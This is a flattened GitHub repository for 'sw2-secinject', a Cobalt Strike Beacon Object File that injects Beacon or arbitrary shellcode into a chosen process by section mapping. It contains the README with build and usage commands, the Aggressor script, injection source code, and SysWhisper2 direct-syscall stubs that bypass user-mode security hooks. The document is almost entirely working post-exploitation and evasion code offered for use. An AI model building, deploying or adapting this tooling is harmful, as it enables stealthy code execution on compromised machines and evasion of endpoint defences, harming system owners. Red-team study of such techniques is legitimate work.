├── README.md ├── dist ├── sw2-secinject.cna └── sw2-secinject.x64.o └── src ├── Makefile ├── beacon.h ├── libc.h ├── secinject.c ├── syscalls-asm.h ├── syscalls.c └── syscalls.h /README.md: -------------------------------------------------------------------------------- 1 | ## Section Mapping Process Injection modified with SysWhisper2 (sw2-secinject): Cobalt Strike BOF 2 | 3 | This project is for SysWhisper2 **practice purpose** and heavily relies on https://github.com/apokryptein/secinject 4 | 5 | - Failed to implement RtlCreateUserThread since syscall cannot be found using SW2 6 | - ^Replaced with NtCreateThreadEx 7 | - Currently, this is only implemented for x64 processes. 8 | 9 | ### How to Make 10 | ``` 11 | git clone https://github.com/ScriptIdiot/sw2-secinject.git 12 | cd sw2-secinject/src 13 | make 14 | ``` 15 | 16 | ### How to Use 17 | #### Injecting Beacon 18 | ``` 19 | sw2-sec-inject PID LISTENER-NAME 20 | ``` 21 | 22 | ![image](https://user-images.githubusercontent.com/21979646/175093085-b24d36dc-4659-4e2a-8b33-20187eedc254.png) 23 | 24 | 25 | #### Injecting Other Shellcode 26 | ``` 27 | sw2-sec-shinject PID /path/to/bin 28 | ``` 29 | 30 | ![image](https://user-images.githubusercontent.com/21979646/175093429-a17e1bcf-2101-450c-b783-1bd7b04fd8f5.png) 31 | 32 | 33 | ### Code References 34 | https://github.com/apokryptein/secinject 35 | 36 | https://github.com/Sh0ckFR/InlineWhispers2 37 | 38 | 39 | 40 | 41 | 42 | -------------------------------------------------------------------------------- /dist/sw2-secinject.cna: -------------------------------------------------------------------------------- 1 | beacon_command_register( 2 | "sw2-sec-inject", 3 | "Injects beacon shellcode into target process using section mapping with syswhisper2", 4 | "Synopsis: sw2-sec-inject PID LISTENER_NAME" 5 | ); 6 | 7 | beacon_command_register( 8 | "sw2-sec-shinject", 9 | "Injects desired shellcode into target process using section mapping with syswhisper2", 10 | "Synopsis: sw2-sec-shinject PID /path/to/bin" 11 | ); 12 | 13 | alias sw2-sec-shinject { 14 | if(size(@_) != 3) 15 | { 16 | berror($1, "Incorrect usage!"); 17 | berror($1, beacon_command_detail("sw2-sec-shinject")); 18 | return; 19 | } 20 | 21 | local('$barch $handle $data $args'); 22 | 23 | # Get beacon architecture 24 | $barch = barch($1); 25 | 26 | # Ensure we are in an x64 beacon 27 | if ($barch !eq 'x64') { 28 | berror($1, "We just support x64 at the moment."); 29 | return; 30 | } 31 | 32 | # Verify PID is an integer 33 | # Conditional taken from: https://github.com/connormcgarr/cThreadHijack/blob/main/cThreadHijack.cna 34 | if ((!-isnumber $2) || (int($2) <= 0)) 35 | { 36 | berror($1, "Please enter a valid PID"); 37 | return; 38 | } 39 | 40 | # Load BOF 41 | $handle = openf(script_resource("sw2-secinject. $+ $barch $+ .o")); 42 | $data = readb($handle, -1); 43 | closef($handle); 44 | 45 | 46 | # Check if supplied file exists 47 | if (!-exists $3) { 48 | berror($1, "File doesn't exist"); 49 | return; 50 | } 51 | 52 | 53 | # Read shellcode from bin 54 | local('$sc_handle $sc_data'); 55 | $sc_handle = openf($3); 56 | $sc_data = readb($sc_handle, -1); 57 | closef($sc_handle); 58 | 59 | # Pack args 60 | $args = bof_pack($1,"ib", $2, $sc_data); 61 | 62 | btask($1, "SW2-SecInject: Section Mapping Process Injection (@apokryptein | github.com/apokryptein) with SysWhisper2 modified by @ScriptIdiot"); 63 | btask($1, "Injecting shellcode: $+ $3"); 64 | btask($1, "Target Process: $+ $2"); 65 | 66 | beacon_inline_execute($1, $data, "go", $args); 67 | } 68 | 69 | alias sw2-sec-inject { 70 | if(size(@_) != 3) 71 | { 72 | berror($1, "Incorrect usage!"); 73 | berror($1, beacon_command_detail("sw2-sec-inject")); 74 | return; 75 | } 76 | 77 | local('$barch $handle $data $args'); 78 | 79 | # Get beacon architecture 80 | $barch = barch($1); 81 | 82 | # Ensure we are in an x64 beacon 83 | if ($barch !eq 'x64') { 84 | berror($1, "We just support x64 at the moment."); 85 | return; 86 | } 87 | 88 | # Verify PID is an integer 89 | # Conditional borrowed from: https://github.com/connormcgarr/cThreadHijack/blob/main/cThreadHijack.cna 90 | if ((!-isnumber $2) || (int($2) <= 0)) 91 | { 92 | berror($1, "Please enter a valid PID"); 93 | return; 94 | } 95 | 96 | # Verify listener exists 97 | if (($3 !in listeners()) && ($3 !in listeners_local()) && ($3 !in listeners_stageless())) { 98 | berror($1, "That listener seems invalid."); 99 | return; 100 | } 101 | 102 | # Load BOF 103 | $handle = openf(script_resource("sw2-secinject. $+ $barch $+ .o")); 104 | $data = readb($handle, -1); 105 | closef($handle); 106 | 107 | # Generate payload based on supplied beacon (currently x64 only) 108 | local('$payload'); 109 | $payload = payload($3, "x64", "thread"); 110 | 111 | # Pack args 112 | $args = bof_pack($1,"ib", $2, $payload); 113 | btask($1, "SW2-SecInject: Section Mapping Process Injection (@apokryptein | github.com/apokryptein) with SysWhisper2 modified by @ScriptIdiot"); 114 | btask($1, "Injecting beacon into PID: $+ $2"); 115 | 116 | beacon_inline_execute($1, $data, "go", $args); 117 | } 118 | -------------------------------------------------------------------------------- /dist/sw2-secinject.x64.o: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ScriptIdiot/sw2-secinject/2349c1c121fd2bf9ca61d6dc8f5ff638d35bb39c/dist/sw2-secinject.x64.o -------------------------------------------------------------------------------- /src/Makefile: -------------------------------------------------------------------------------- 1 | BOFNAME := sw2-secinject 2 | CC_x64 := x86_64-w64-mingw32-gcc 3 | 4 | 5 | all: 6 | $(CC_x64) -o ../dist/$(BOFNAME).x64.o -c secinject.c -masm=intel 7 | 8 | clean: 9 | rm -f ../dist/$(BOFNAME).x64.o -------------------------------------------------------------------------------- /src/beacon.h: -------------------------------------------------------------------------------- 1 | /* 2 | * Beacon Object Files (BOF) 3 | * ------------------------- 4 | * A Beacon Object File is a light-weight post exploitation tool that runs 5 | * with Beacon's inline-execute command. 6 | * 7 | * Cobalt Strike 4.1. 8 | */ 9 | 10 | /* data API */ 11 | typedef struct { 12 | char * original; /* the original buffer [so we can free it] */ 13 | char * buffer; /* current pointer into our buffer */ 14 | int length; /* remaining length of data */ 15 | int size; /* total size of this buffer */ 16 | } datap; 17 | 18 | DECLSPEC_IMPORT void BeaconDataParse(datap * parser, char * buffer, int size); 19 | DECLSPEC_IMPORT int BeaconDataInt(datap * parser); 20 | DECLSPEC_IMPORT short BeaconDataShort(datap * parser); 21 | DECLSPEC_IMPORT int BeaconDataLength(datap * parser); 22 | DECLSPEC_IMPORT char * BeaconDataExtract(datap * parser, int * size); 23 | 24 | /* format API */ 25 | typedef struct { 26 | char * original; /* the original buffer [so we can free it] */ 27 | char * buffer; /* current pointer into our buffer */ 28 | int length; /* remaining length of data */ 29 | int size; /* total size of this buffer */ 30 | } formatp; 31 | 32 | DECLSPEC_IMPORT void BeaconFormatAlloc(formatp * format, int maxsz); 33 | DECLSPEC_IMPORT void BeaconFormatReset(formatp * format); 34 | DECLSPEC_IMPORT void BeaconFormatFree(formatp * format); 35 | DECLSPEC_IMPORT void BeaconFormatAppend(formatp * format, char * text, int len); 36 | DECLSPEC_IMPORT void BeaconFormatPrintf(formatp * format, char * fmt, ...); 37 | DECLSPEC_IMPORT char * BeaconFormatToString(formatp * format, int * size); 38 | DECLSPEC_IMPORT void BeaconFormatInt(formatp * format, int value); 39 | 40 | /* Output Functions */ 41 | #define CALLBACK_OUTPUT 0x0 42 | #define CALLBACK_OUTPUT_OEM 0x1e 43 | #define CALLBACK_ERROR 0x0d 44 | #define CALLBACK_OUTPUT_UTF8 0x20 45 | 46 | DECLSPEC_IMPORT void BeaconPrintf(int type, char * fmt, ...); 47 | DECLSPEC_IMPORT void BeaconOutput(int type, char * data, int len); 48 | 49 | /* Token Functions */ 50 | DECLSPEC_IMPORT BOOL BeaconUseToken(HANDLE token); 51 | DECLSPEC_IMPORT void BeaconRevertToken(); 52 | DECLSPEC_IMPORT BOOL BeaconIsAdmin(); 53 | 54 | /* Spawn+Inject Functions */ 55 | DECLSPEC_IMPORT void BeaconGetSpawnTo(BOOL x86, char * buffer, int length); 56 | DECLSPEC_IMPORT void BeaconInjectProcess(HANDLE hProc, int pid, char * payload, int p_len, int p_offset, char * arg, int a_len); 57 | DECLSPEC_IMPORT void BeaconInjectTemporaryProcess(PROCESS_INFORMATION * pInfo, char * payload, int p_len, int p_offset, char * arg, int a_len); 58 | DECLSPEC_IMPORT void BeaconCleanupProcess(PROCESS_INFORMATION * pInfo); 59 | 60 | /* Utility Functions */ 61 | DECLSPEC_IMPORT BOOL toWideChar(char * src, wchar_t * dst, int max); 62 | -------------------------------------------------------------------------------- /src/libc.h: -------------------------------------------------------------------------------- 1 | /* 2 | * *grumble* *grumble* BOF files don't have access to a libc. 3 | * So, these are quick implementations of some stuff we need. 4 | */ 5 | 6 | // Source: Courtesy of Raphael Mudge 7 | // https://github.com/rsmudge/CVE-2020-0796-BOF/blob/master/src/libc.c 8 | 9 | void mycopy(char * dst, const char * src, int size) { 10 | int x; 11 | for (x = 0; x < size; x++) { 12 | *dst = *src; 13 | dst++; 14 | src++; 15 | } 16 | } 17 | 18 | char mylc(char a) { 19 | if (a >= 'A' && a <= 'Z') { 20 | return a + 32; 21 | } 22 | else { 23 | return a; 24 | } 25 | } 26 | 27 | BOOL mycmpi(char * a, char * b) { 28 | while (*a != 0 && *b != 0) { 29 | if (mylc(*a) != mylc(*b)) 30 | return FALSE; 31 | a++; 32 | b++; 33 | } 34 | 35 | return TRUE; 36 | } 37 | -------------------------------------------------------------------------------- /src/secinject.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include "libc.h" 4 | 5 | #include "syscalls.c" 6 | 7 | #define NT_SUCCESS 0x00000000 8 | 9 | 10 | void go(char * args, int len) { 11 | datap parser; 12 | DWORD procID; 13 | SIZE_T shellcodeSize = NULL; 14 | char* shellcode; 15 | 16 | BeaconDataParse(&parser, args, len); 17 | procID = BeaconDataInt(&parser); 18 | shellcode = BeaconDataExtract(&parser, &shellcodeSize); 19 | 20 | BeaconPrintf(CALLBACK_OUTPUT, "Size: %d", shellcodeSize); 21 | 22 | HANDLE hLocalProcess = NULL; 23 | HANDLE hRemoteProcess = NULL; 24 | HANDLE hRemoteThread = NULL; 25 | HANDLE hSection = NULL; 26 | HANDLE baseAddrRemote = NULL; 27 | HANDLE baseAddrLocal = NULL; 28 | 29 | LARGE_INTEGER sectionSize = { shellcodeSize }; 30 | 31 | CLIENT_ID cid = {0}; 32 | OBJECT_ATTRIBUTES oa = {sizeof(oa)}; 33 | 34 | 35 | // Local process handle 36 | hLocalProcess = -1; 37 | 38 | // Remote process handle 39 | cid.UniqueProcess = procID; 40 | 41 | NTSTATUS getHandle = NtOpenProcess(&hRemoteProcess,PROCESS_ALL_ACCESS, &oa, &cid); 42 | 43 | if(getHandle != NT_SUCCESS) { 44 | BeaconPrintf(CALLBACK_OUTPUT, "[!] Error getting process handle Aborting..."); 45 | return; 46 | } 47 | 48 | // Create RWX memory section 49 | NTSTATUS res = NtCreateSection(&hSection, GENERIC_ALL, NULL, (PLARGE_INTEGER)§ionSize, PAGE_EXECUTE_READWRITE, SEC_COMMIT, NULL); 50 | 51 | if(res != NT_SUCCESS) { 52 | BeaconPrintf(CALLBACK_OUTPUT, "[!] Error creating RWX memory section Aborting..."); 53 | return; 54 | } 55 | 56 | // Map RW Section of Local Process 57 | NTSTATUS mapStatusLocal = NtMapViewOfSection(hSection, hLocalProcess, &baseAddrLocal, NULL, 0, NULL, &shellcodeSize, 2, 0, PAGE_READWRITE); 58 | 59 | if(mapStatusLocal != NT_SUCCESS) { 60 | BeaconPrintf(CALLBACK_OUTPUT, "[!] Error mapping local process Aborting..."); 61 | return; 62 | } 63 | 64 | // Map view of same section for remote process 65 | NTSTATUS mapStatusRemote = NtMapViewOfSection(hSection, hRemoteProcess, &baseAddrRemote, NULL, 0, NULL, &shellcodeSize, 2, 0, PAGE_EXECUTE_READ); 66 | 67 | if(mapStatusRemote != NT_SUCCESS) { 68 | BeaconPrintf(CALLBACK_OUTPUT, "[!] Error mapping remote process. Aborting..."); 69 | return; 70 | } 71 | 72 | // Copy buffer to mapped local process 73 | mycopy(baseAddrLocal, shellcode, shellcodeSize); 74 | 75 | // Unmap local view 76 | NTSTATUS unmapStatus = NtUnmapViewOfSection(hLocalProcess, baseAddrLocal); 77 | 78 | if(unmapStatus != NT_SUCCESS) { 79 | BeaconPrintf(CALLBACK_OUTPUT, "[!] Error unmapping view"); 80 | } 81 | 82 | // Close section 83 | NTSTATUS closeStatus = NtClose(hSection); 84 | 85 | if(closeStatus != NT_SUCCESS) { 86 | BeaconPrintf(CALLBACK_OUTPUT, "[!] Error closing handle"); 87 | } 88 | 89 | // Create thread 90 | NtCreateThreadEx(&hRemoteThread, 0x1FFFFF, NULL, hRemoteProcess, (LPTHREAD_START_ROUTINE)baseAddrRemote, NULL, FALSE, NULL, NULL, NULL, NULL); 91 | } 92 | -------------------------------------------------------------------------------- /src/syscalls-asm.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | #include 3 | 4 | #if _WIN64 5 | 6 | #define ZwCreateSection NtCreateSection 7 | __asm__("NtCreateSection: \n\ 8 | mov [rsp +8], rcx \n\ 9 | mov [rsp+16], rdx \n\ 10 | mov [rsp+24], r8 \n\ 11 | mov [rsp+32], r9 \n\ 12 | sub rsp, 0x28 \n\ 13 | mov ecx, 0x00A546E87 \n\ 14 | call SW2_GetSyscallNumber \n\ 15 | add rsp, 0x28 \n\ 16 | mov rcx, [rsp +8] \n\ 17 | mov rdx, [rsp+16] \n\ 18 | mov r8, [rsp+24] \n\ 19 | mov r9, [rsp+32] \n\ 20 | mov r10, rcx \n\ 21 | syscall \n\ 22 | ret \n\ 23 | "); 24 | 25 | #define ZwMapViewOfSection NtMapViewOfSection 26 | __asm__("NtMapViewOfSection: \n\ 27 | mov [rsp +8], rcx \n\ 28 | mov [rsp+16], rdx \n\ 29 | mov [rsp+24], r8 \n\ 30 | mov [rsp+32], r9 \n\ 31 | sub rsp, 0x28 \n\ 32 | mov ecx, 0x0168835D9 \n\ 33 | call SW2_GetSyscallNumber \n\ 34 | add rsp, 0x28 \n\ 35 | mov rcx, [rsp +8] \n\ 36 | mov rdx, [rsp+16] \n\ 37 | mov r8, [rsp+24] \n\ 38 | mov r9, [rsp+32] \n\ 39 | mov r10, rcx \n\ 40 | syscall \n\ 41 | ret \n\ 42 | "); 43 | 44 | #define ZwUnmapViewOfSection NtUnmapViewOfSection 45 | __asm__("NtUnmapViewOfSection: \n\ 46 | mov [rsp +8], rcx \n\ 47 | mov [rsp+16], rdx \n\ 48 | mov [rsp+24], r8 \n\ 49 | mov [rsp+32], r9 \n\ 50 | sub rsp, 0x28 \n\ 51 | mov ecx, 0x008A0263D \n\ 52 | call SW2_GetSyscallNumber \n\ 53 | add rsp, 0x28 \n\ 54 | mov rcx, [rsp +8] \n\ 55 | mov rdx, [rsp+16] \n\ 56 | mov r8, [rsp+24] \n\ 57 | mov r9, [rsp+32] \n\ 58 | mov r10, rcx \n\ 59 | syscall \n\ 60 | ret \n\ 61 | "); 62 | 63 | #define ZwClose NtClose 64 | __asm__("NtClose: \n\ 65 | mov [rsp +8], rcx \n\ 66 | mov [rsp+16], rdx \n\ 67 | mov [rsp+24], r8 \n\ 68 | mov [rsp+32], r9 \n\ 69 | sub rsp, 0x28 \n\ 70 | mov ecx, 0x07A2B4377 \n\ 71 | call SW2_GetSyscallNumber \n\ 72 | add rsp, 0x28 \n\ 73 | mov rcx, [rsp +8] \n\ 74 | mov rdx, [rsp+16] \n\ 75 | mov r8, [rsp+24] \n\ 76 | mov r9, [rsp+32] \n\ 77 | mov r10, rcx \n\ 78 | syscall \n\ 79 | ret \n\ 80 | "); 81 | 82 | #define ZwOpenProcess NtOpenProcess 83 | __asm__("NtOpenProcess: \n\ 84 | mov [rsp +8], rcx \n\ 85 | mov [rsp+16], rdx \n\ 86 | mov [rsp+24], r8 \n\ 87 | mov [rsp+32], r9 \n\ 88 | sub rsp, 0x28 \n\ 89 | mov ecx, 0x0E920C4B8 \n\ 90 | call SW2_GetSyscallNumber \n\ 91 | add rsp, 0x28 \n\ 92 | mov rcx, [rsp +8] \n\ 93 | mov rdx, [rsp+16] \n\ 94 | mov r8, [rsp+24] \n\ 95 | mov r9, [rsp+32] \n\ 96 | mov r10, rcx \n\ 97 | syscall \n\ 98 | ret \n\ 99 | "); 100 | 101 | #define ZwCreateThreadEx NtCreateThreadEx 102 | __asm__("NtCreateThreadEx: \n\ 103 | mov [rsp +8], rcx \n\ 104 | mov [rsp+16], rdx \n\ 105 | mov [rsp+24], r8 \n\ 106 | mov [rsp+32], r9 \n\ 107 | sub rsp, 0x28 \n\ 108 | mov ecx, 0x08C53A8EE \n\ 109 | call SW2_GetSyscallNumber \n\ 110 | add rsp, 0x28 \n\ 111 | mov rcx, [rsp +8] \n\ 112 | mov rdx, [rsp+16] \n\ 113 | mov r8, [rsp+24] \n\ 114 | mov r9, [rsp+32] \n\ 115 | mov r10, rcx \n\ 116 | syscall \n\ 117 | ret \n\ 118 | "); 119 | 120 | #endif 121 | -------------------------------------------------------------------------------- /src/syscalls.c: -------------------------------------------------------------------------------- 1 | #include "syscalls.h" 2 | 3 | // Code below is adapted from @modexpblog. Read linked article for more details. 4 | // https://www.mdsec.co.uk/2020/12/bypassing-user-mode-hooks-and-direct-invocation-of-system-calls-for-red-teams 5 | 6 | SW2_SYSCALL_LIST SW2_SyscallList __attribute__ ((section(".data"))); 7 | 8 | DWORD SW2_HashSyscall(PCSTR FunctionName) 9 | { 10 | DWORD i = 0; 11 | DWORD Hash = SW2_SEED; 12 | 13 | while (FunctionName[i]) 14 | { 15 | WORD PartialName = *(WORD*)((ULONGSIZE)FunctionName + i++); 16 | Hash ^= PartialName + SW2_ROR8(Hash); 17 | } 18 | 19 | return Hash; 20 | } 21 | 22 | BOOL SW2_PopulateSyscallList() 23 | { 24 | // Return early if the list is already populated. 25 | if (SW2_SyscallList.Count) return TRUE; 26 | 27 | PSW2_PEB Peb = (PSW2_PEB)READ_MEMLOC(PEB_OFFSET); 28 | PSW2_PEB_LDR_DATA Ldr = Peb->Ldr; 29 | PIMAGE_EXPORT_DIRECTORY ExportDirectory = NULL; 30 | PVOID DllBase = NULL; 31 | 32 | // Get the DllBase address of NTDLL.dll. NTDLL is not guaranteed to be the second 33 | // in the list, so it's safer to loop through the full list and find it. 34 | PSW2_LDR_DATA_TABLE_ENTRY LdrEntry; 35 | for (LdrEntry = (PSW2_LDR_DATA_TABLE_ENTRY)Ldr->Reserved2[1]; LdrEntry->DllBase != NULL; LdrEntry = (PSW2_LDR_DATA_TABLE_ENTRY)LdrEntry->Reserved1[0]) 36 | { 37 | DllBase = LdrEntry->DllBase; 38 | PIMAGE_DOS_HEADER DosHeader = (PIMAGE_DOS_HEADER)DllBase; 39 | PIMAGE_NT_HEADERS NtHeaders = SW2_RVA2VA(PIMAGE_NT_HEADERS, DllBase, DosHeader->e_lfanew); 40 | PIMAGE_DATA_DIRECTORY DataDirectory = (PIMAGE_DATA_DIRECTORY)NtHeaders->OptionalHeader.DataDirectory; 41 | DWORD VirtualAddress = DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress; 42 | if (VirtualAddress == 0) continue; 43 | 44 | ExportDirectory = (PIMAGE_EXPORT_DIRECTORY)SW2_RVA2VA(ULONG_PTR, DllBase, VirtualAddress); 45 | 46 | // If this is NTDLL.dll, exit loop. 47 | PCHAR DllName = SW2_RVA2VA(PCHAR, DllBase, ExportDirectory->Name); 48 | if ((*(ULONG*)DllName | 0x20202020) != 0x6c64746e) continue; 49 | if ((*(ULONG*)(DllName + 4) | 0x20202020) == 0x6c642e6c) break; 50 | } 51 | 52 | if (!ExportDirectory) return FALSE; 53 | 54 | DWORD NumberOfNames = ExportDirectory->NumberOfNames; 55 | PDWORD Functions = SW2_RVA2VA(PDWORD, DllBase, ExportDirectory->AddressOfFunctions); 56 | PDWORD Names = SW2_RVA2VA(PDWORD, DllBase, ExportDirectory->AddressOfNames); 57 | PWORD Ordinals = SW2_RVA2VA(PWORD, DllBase, ExportDirectory->AddressOfNameOrdinals); 58 | 59 | // Populate SW2_SyscallList with unsorted Zw* entries. 60 | DWORD i = 0; 61 | PSW2_SYSCALL_ENTRY Entries = SW2_SyscallList.Entries; 62 | do 63 | { 64 | PCHAR FunctionName = SW2_RVA2VA(PCHAR, DllBase, Names[NumberOfNames - 1]); 65 | 66 | // Is this a system call? 67 | if (*(USHORT*)FunctionName == 0x775a) 68 | { 69 | Entries[i].Hash = SW2_HashSyscall(FunctionName); 70 | Entries[i].Address = Functions[Ordinals[NumberOfNames - 1]]; 71 | 72 | i++; 73 | if (i == SW2_MAX_ENTRIES) break; 74 | } 75 | } while (--NumberOfNames); 76 | 77 | // Save total number of system calls found. 78 | SW2_SyscallList.Count = i; 79 | 80 | // Sort the list by address in ascending order. 81 | for (DWORD i = 0; i < SW2_SyscallList.Count - 1; i++) 82 | { 83 | for (DWORD j = 0; j < SW2_SyscallList.Count - i - 1; j++) 84 | { 85 | if (Entries[j].Address > Entries[j + 1].Address) 86 | { 87 | // Swap entries. 88 | SW2_SYSCALL_ENTRY TempEntry; 89 | 90 | TempEntry.Hash = Entries[j].Hash; 91 | TempEntry.Address = Entries[j].Address; 92 | 93 | Entries[j].Hash = Entries[j + 1].Hash; 94 | Entries[j].Address = Entries[j + 1].Address; 95 | 96 | Entries[j + 1].Hash = TempEntry.Hash; 97 | Entries[j + 1].Address = TempEntry.Address; 98 | } 99 | } 100 | } 101 | 102 | return TRUE; 103 | } 104 | 105 | EXTERN_C DWORD SW2_GetSyscallNumber(DWORD FunctionHash) 106 | { 107 | if (!SW2_PopulateSyscallList()) 108 | { 109 | BeaconPrintf(CALLBACK_ERROR, "SW2_PopulateSyscallList failed\n"); 110 | return -1; 111 | } 112 | 113 | for (DWORD i = 0; i < SW2_SyscallList.Count; i++) 114 | { 115 | if (FunctionHash == SW2_SyscallList.Entries[i].Hash) 116 | { 117 | return i; 118 | } 119 | } 120 | BeaconPrintf(CALLBACK_ERROR,"syscall with hash 0x%lx not found\n", FunctionHash); 121 | 122 | return -1; 123 | } -------------------------------------------------------------------------------- /src/syscalls.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | // Code below is adapted from @modexpblog. Read linked article for more details. 4 | // https://www.mdsec.co.uk/2020/12/bypassing-user-mode-hooks-and-direct-invocation-of-system-calls-for-red-teams 5 | 6 | #ifndef SW2_HEADER_H_ 7 | #define SW2_HEADER_H_ 8 | 9 | #include 10 | #include "beacon.h" 11 | #include "syscalls-asm.h" 12 | 13 | #ifdef _WIN64 14 | #define ULONGSIZE ULONG64 15 | #else 16 | #define ULONGSIZE ULONG32 17 | #endif 18 | 19 | #ifdef _WIN64 20 | #define PEB_OFFSET 0x60 21 | #define READ_MEMLOC __readgsqword 22 | #else 23 | #define PEB_OFFSET 0x30 24 | #define READ_MEMLOC __readfsdword 25 | #endif 26 | 27 | #define SW2_SEED 0x2D19F9AD 28 | 29 | #define SW2_ROL8(v) (v << 8 | v >> 24) 30 | #define SW2_ROR8(v) (v >> 8 | v << 24) 31 | #define SW2_ROX8(v) ((SW2_SEED % 2) ? SW2_ROL8(v) : SW2_ROR8(v)) 32 | #define SW2_MAX_ENTRIES 500 33 | #define SW2_RVA2VA(Type, DllBase, Rva) (Type)((ULONG_PTR) DllBase + Rva) 34 | 35 | // Typedefs are prefixed to avoid pollution. 36 | 37 | typedef struct _SW2_SYSCALL_ENTRY 38 | { 39 | DWORD Hash; 40 | DWORD Address; 41 | } SW2_SYSCALL_ENTRY, *PSW2_SYSCALL_ENTRY; 42 | 43 | typedef struct _SW2_SYSCALL_LIST 44 | { 45 | DWORD Count; 46 | SW2_SYSCALL_ENTRY Entries[SW2_MAX_ENTRIES]; 47 | } SW2_SYSCALL_LIST, *PSW2_SYSCALL_LIST; 48 | 49 | typedef struct _SW2_PEB_LDR_DATA { 50 | BYTE Reserved1[8]; 51 | PVOID Reserved2[3]; 52 | LIST_ENTRY InMemoryOrderModuleList; 53 | } SW2_PEB_LDR_DATA, *PSW2_PEB_LDR_DATA; 54 | 55 | typedef struct _SW2_LDR_DATA_TABLE_ENTRY { 56 | PVOID Reserved1[2]; 57 | LIST_ENTRY InMemoryOrderLinks; 58 | PVOID Reserved2[2]; 59 | PVOID DllBase; 60 | } SW2_LDR_DATA_TABLE_ENTRY, *PSW2_LDR_DATA_TABLE_ENTRY; 61 | 62 | typedef struct _SW2_PEB { 63 | BYTE Reserved1[2]; 64 | BYTE BeingDebugged; 65 | BYTE Reserved2[1]; 66 | PVOID Reserved3[2]; 67 | PSW2_PEB_LDR_DATA Ldr; 68 | } SW2_PEB, *PSW2_PEB; 69 | 70 | DWORD SW2_HashSyscall(PCSTR FunctionName); 71 | BOOL SW2_PopulateSyscallList(); 72 | EXTERN_C DWORD SW2_GetSyscallNumber(DWORD FunctionHash) asm ("SW2_GetSyscallNumber"); 73 | EXTERN_C BOOL IsWoW64() asm ("IsWoW64"); 74 | EXTERN_C PVOID GetSyscallAddress(void) asm ("GetSyscallAddress"); 75 | 76 | typedef struct _UNICODE_STRING 77 | { 78 | USHORT Length; 79 | USHORT MaximumLength; 80 | PWSTR Buffer; 81 | } UNICODE_STRING, *PUNICODE_STRING; 82 | 83 | typedef struct _OBJECT_ATTRIBUTES 84 | { 85 | ULONG Length; 86 | HANDLE RootDirectory; 87 | PUNICODE_STRING ObjectName; 88 | ULONG Attributes; 89 | PVOID SecurityDescriptor; 90 | PVOID SecurityQualityOfService; 91 | } OBJECT_ATTRIBUTES, *POBJECT_ATTRIBUTES; 92 | 93 | typedef struct _CLIENT_ID 94 | { 95 | HANDLE UniqueProcess; 96 | HANDLE UniqueThread; 97 | } CLIENT_ID, *PCLIENT_ID; 98 | 99 | typedef enum _SECTION_INHERIT 100 | { 101 | ViewShare = 1, 102 | ViewUnmap = 2 103 | } SECTION_INHERIT, *PSECTION_INHERIT; 104 | 105 | 106 | typedef struct _PS_ATTRIBUTE 107 | { 108 | ULONG Attribute; 109 | SIZE_T Size; 110 | union 111 | { 112 | ULONG Value; 113 | PVOID ValuePtr; 114 | } u1; 115 | PSIZE_T ReturnLength; 116 | } PS_ATTRIBUTE, *PPS_ATTRIBUTE; 117 | 118 | typedef struct _PS_ATTRIBUTE_LIST 119 | { 120 | SIZE_T TotalLength; 121 | PS_ATTRIBUTE Attributes[1]; 122 | } PS_ATTRIBUTE_LIST, *PPS_ATTRIBUTE_LIST; 123 | 124 | EXTERN_C NTSTATUS NtCreateSection( 125 | OUT PHANDLE SectionHandle, 126 | IN ACCESS_MASK DesiredAccess, 127 | IN POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL, 128 | IN PLARGE_INTEGER MaximumSize OPTIONAL, 129 | IN ULONG SectionPageProtection, 130 | IN ULONG AllocationAttributes, 131 | IN HANDLE FileHandle OPTIONAL) asm("NtCreateSection"); 132 | 133 | EXTERN_C NTSTATUS NtMapViewOfSection( 134 | IN HANDLE SectionHandle, 135 | IN HANDLE ProcessHandle, 136 | IN OUT PVOID BaseAddress, 137 | IN ULONG ZeroBits, 138 | IN SIZE_T CommitSize, 139 | IN OUT PLARGE_INTEGER SectionOffset OPTIONAL, 140 | IN OUT PSIZE_T ViewSize, 141 | IN SECTION_INHERIT InheritDisposition, 142 | IN ULONG AllocationType, 143 | IN ULONG Win32Protect) asm("NtMapViewOfSection"); 144 | 145 | EXTERN_C NTSTATUS NtUnmapViewOfSection( 146 | IN HANDLE ProcessHandle, 147 | IN PVOID BaseAddress) asm("NtUnmapViewOfSection"); 148 | 149 | EXTERN_C NTSTATUS NtClose( 150 | IN HANDLE Handle) asm("NtClose"); 151 | 152 | EXTERN_C NTSTATUS NtOpenProcess( 153 | OUT PHANDLE ProcessHandle, 154 | IN ACCESS_MASK DesiredAccess, 155 | IN POBJECT_ATTRIBUTES ObjectAttributes, 156 | IN PCLIENT_ID ClientId OPTIONAL) asm("NtOpenProcess"); 157 | 158 | EXTERN_C NTSTATUS NtCreateThreadEx( 159 | OUT PHANDLE ThreadHandle, 160 | IN ACCESS_MASK DesiredAccess, 161 | IN POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL, 162 | IN HANDLE ProcessHandle, 163 | IN PVOID StartRoutine, 164 | IN PVOID Argument OPTIONAL, 165 | IN ULONG CreateFlags, 166 | IN SIZE_T ZeroBits, 167 | IN SIZE_T StackSize, 168 | IN SIZE_T MaximumStackSize, 169 | IN PPS_ATTRIBUTE_LIST AttributeList OPTIONAL) asm("NtCreateThreadEx"); 170 | 171 | #endif 172 | --------------------------------------------------------------------------------